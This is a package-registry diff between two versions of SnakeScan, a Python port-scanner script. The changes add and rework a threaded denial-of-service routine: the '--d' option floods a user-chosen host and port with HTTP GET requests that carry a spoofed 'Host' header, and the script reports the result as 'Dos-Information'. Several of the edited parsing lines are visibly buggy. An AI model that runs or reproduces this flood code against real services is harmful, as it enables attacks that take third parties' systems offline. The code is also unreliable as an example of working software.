SnakeScan 1.2.7__tar.gz → 1.2.9__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: SnakeScan
3
- Version: 1.2.7
3
+ Version: 1.2.9
4
4
  Summary: Module SnakeScan
5
5
  Author: Den*Ram
6
6
  Description-Content-Type: text/markdown
@@ -1,5 +1,5 @@
1
1
  """Module SnakeScan"""
2
- __version__="1.2.7"
2
+ __version__="1.2.9"
3
3
  import socket
4
4
  from art import tprint
5
5
  from datetime import datetime
@@ -10,7 +10,7 @@ portsopen=0
10
10
  portsclosed=0
11
11
  Run_now=True
12
12
  Bool=True
13
- boolsd=False
13
+ boolsd=True
14
14
  global num
15
15
  num=0
16
16
  boolean=0
@@ -37,6 +37,19 @@ def is_port_open(host,port):
37
37
  else:
38
38
  s.close()
39
39
  return True
40
+ def dos_threads(host,port,fake_ip):
41
+ host=host.strip("--d")
42
+ host=host.strip()
43
+ s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
44
+ try:
45
+ s.connect((host,port))
46
+ s.sendto(("GET /"+host+"HTTP/1.1\r\n").encode("ascii"),(host,port))
47
+ s.sendto(("Host: "+fake_ip+"\r\n\r\n").encode("ascii"),(host,port))
48
+ s.close()
49
+ return True
50
+ except:
51
+ s.close()
52
+ return False
40
53
  def is_port_open_threads(host,port):
41
54
  s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
42
55
  try:
@@ -53,18 +66,6 @@ def is_port_open_threads(host,port):
53
66
  s.close()
54
67
  else:
55
68
  print(f"Open{colored('|√|','green')}-->{ports[all]}|{all}|")
56
- def dos_threads(host,port,fake_ip):
57
- s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
58
- #Connect
59
- try:
60
- s.connect((host,port))
61
- s.sendto(("GET /"+host+"HTTP/1.1\r\n").encode("ascii"),(host,port))
62
- s.sendto(("Host: "+fake_ip+"\r\n\r\n").encode("ascii"),(host,port))
63
- s.close()
64
- return False
65
- except:
66
- s.close()
67
- return True
68
69
  print("–"*60)
69
70
  tprint("SnakeScan")
70
71
  print("–"*60)
@@ -72,28 +73,46 @@ print(f"Release:{__version__}".rjust(60))
72
73
  print(f"Skip{colored('|*|','blue')}Error: {colored('Host','green')}{colored('[X]:Error','red')} {colored('|$|','green')} {colored('Port','green')}{colored('[X]:Error','red')}")
73
74
  while Run_now:
74
75
  host=input(f"{colored('[$]','green')}Host-->")
75
- if "--d" in host:
76
- boolsd=True
76
+ if "http://" in host and "--d" in host:
77
+ host=host.strip().strip("--d")
78
+ host=host.split("http:")
79
+ host=host.strip("//")
80
+ host=host+""+"--d"
81
+ for i in range(len(host)):
82
+ if host[i] == "/":
83
+ host=host[0:i]
84
+ if "https://" in host and "--d" in host:
85
+ host=host.strip().strip("--d")
86
+ host=host.strip("https:")
87
+ host=host.strip("//")
88
+ host=host+""+"--d"
89
+ for i in range(len(host)):
90
+ if host[i] == "/":
91
+ host=host[0:i]
77
92
  if "http://" in host:
78
- host=host.strip("http://").strip("--d")
79
- for i in range(len(host)-1):
93
+ host=host.strip()
94
+ host=host.split("http:")
95
+ host=host.strip("//")
96
+ for i in range(len(host)):
80
97
  if host[i] == "/":
81
98
  host=host[0:i]
82
- elif "https://" in host:
83
- host=host.strip("https://").strip("--d")
84
- for i in range(len(host)-1):
99
+ if "https://" in host:
100
+ host=host.strip()
101
+ host=host.strip("https:")
102
+ host=host.strip("//")
103
+ for i in range(len(host)):
85
104
  if host[i] == "/":
86
105
  host=host[0:i]
87
- try:
88
- host=socket.gethostbyname(host)
89
- except:
90
- print("Host is not avaible")
91
- continue
92
- finally:
93
- if boolsd:
106
+ if "--d" in host:
107
+ try:
108
+ host=host.strip("--d")
109
+ host=host.strip()
110
+ host=socket.gethostbyname(host)
94
111
  host=host+""+"--d"
112
+ except:
113
+ print(f"{host} is not avaible")
114
+ continue
95
115
  if "--d" in host:
96
- host=host.strip("--d").strip()
97
116
  try:
98
117
  threadsnum=int(input(f"{colored('[$]','green')}Threads-->"))
99
118
  dos_port=int(input(f"{colored('[$]','green')}Port-->"))
@@ -107,20 +126,28 @@ while Run_now:
107
126
  dos_port=int(input(f"{colored('[$]','green')}Port-->"))
108
127
  fake_ip=input(f"{colored('[$]','green')}Fake_ip-->")
109
128
 
110
- except:
129
+ except Exception as error:
130
+ print(f"Error:{error}")
111
131
  continue
112
132
  if threadsnum:
113
- break
133
+ break
114
134
  for dos in range(0,threadsnum):
115
135
  num+=1
116
136
  t=Thread(target=dos_threads,kwargs={"host":host,"port":dos_port,"fake_ip":fake_ip})
117
137
  t.start()
118
138
  t.join()
119
139
  if dos_threads(host,dos_port,fake_ip):
120
- print("Host or Port not avaible")
121
- else:
122
140
  print("Dos-Information".center(60,"-"))
123
- print(f"{colored('[$]','green')}Threads--> {num} GET/{host}:{dos_port} HTTP/1.1")
141
+ print(f"{colored('[$]','green')}Threads--> {num} GET/HTTP/1.1")
142
+
143
+ else:
144
+ try:
145
+ s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
146
+ host=host.strip("--d")
147
+ host=socket.gethostbyname(host)
148
+ s.connect((host,dos_port))
149
+ except Exception as error:
150
+ print(f"Error:{error}")
124
151
  continue
125
152
  if host == "Exit" or host == "exit":
126
153
  break
File without changes
File without changes
File without changes